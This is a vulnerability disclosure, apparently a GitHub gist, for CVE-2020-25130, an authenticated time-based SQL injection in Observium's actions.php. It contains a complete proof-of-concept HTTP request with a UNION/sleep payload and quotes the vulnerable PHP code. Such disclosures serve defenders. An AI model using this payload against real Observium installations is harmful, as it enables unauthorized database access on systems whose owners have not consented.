mariuszpoplawski / **CVE-2020-25130**

Created 2 years ago

☆ Star

<> Code   -o- Revisions 1

CVE-2020-25130

```
CVE-2020-25130
------------------------------------------
Authenticated Time Based SQL Injection

------------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to SQL Injection  due to the fact that it is possible to inject malicious SQL

------------------------------------------

[Additional Information]

Please note that Proof of Concepts regarding SQL injection points works even without the “debug” parameter that was included in the request

We want to mention that the source code of Observium was downloaded from the following URL:
http://www.observium.org/observium-community-latest.tar.gz

We have tested this vulnerability on CE and PRO version (Paid), both softwares were vulnerable.

Vulnerability was exploited by sending crafted variable type "Array". Core sanitization does not properly handle this type of parameters.



Example request that allow inject SQL queries by sending crafted Array "group_id[]" parameter:

POST /ajax/actions.php?debug=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OBSID=6orlkgf7v8lsoveiaid3gtv1p0lsatja; observium_screen_ratio=2; observium_screen_resolution=1680x1050
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/json
Content-Length: 80

{"action":"group_edit",
"group_id":["-1 union select sleep(10),2,3,4,5,6,7,8"]}

Server response time: over 10 seconds.


Below we present vulnerable code:

/var/opt/observium/html/ajax/actions.php

 40   case "group_edit":
 41
 42     if (dbFetchRow("SELECT * FROM `groups` WHERE `group_id` = ?", array($vars['group_id'])))
 43     {
 44
 45       $rows_updated = dbUpdate(array('group_descr' => $vars['group_descr'], 'group_name' => $vars['group_name'], 'group_assoc' => $
 46                                'groups', '`group_id` = ?',
 47                                array($vars['group_id']));




------------------------------------------

[VulnerabilityType Other]
Time Based SQL Injection

------------------------------------------

[Vendor of Product]
https://www.observium.org/

------------------------------------------

[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631

------------------------------------------

[Affected Component]
Ajax/Actions

------------------------------------------
```

```

[Attack Type]
Remote - authenticated users

-----------------------------------------

[Reference]
https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries
https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
https://www.owasp.org/index.php/Testing_for_ORM_Injection_(OTG-INPVAL-007)
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Query_Parameterization_Cheat_Sheet.md


-----------------------------------------

[Discoverer]
Mariusz Popławski

-----------------------------------------


Mariusz Popławski / AFINE.com team
```